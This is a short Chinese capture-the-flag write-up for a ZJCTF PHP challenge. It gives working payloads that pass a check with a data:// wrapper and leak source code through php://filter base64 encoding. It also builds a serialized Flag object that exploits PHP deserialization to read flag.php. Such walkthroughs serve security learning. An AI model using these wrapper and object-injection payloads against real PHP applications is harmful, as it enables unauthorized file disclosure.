进入后看到一串php代码
分析:
1、看到file_get_contents函数说明要传入 welcome to the zjctf
2、看到了后面双斜杠提示的useless.php,说明flag在useless.php里面
3、看到了useless.php下面的unserialize猜测有反序列化
随后就是传payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
//用data://传入welcome to the zjctf
//用php://查看useless.php源码
就得到了useless.php的源码
base64解码后得
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
因为上面有分析到反序列化
然后现在看到代码里的public更加的确定了想法
之后就是构造序列化代码
<?php
class Flag{
public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>
得到结果
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
有了这个后payload就简单了
payload: ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}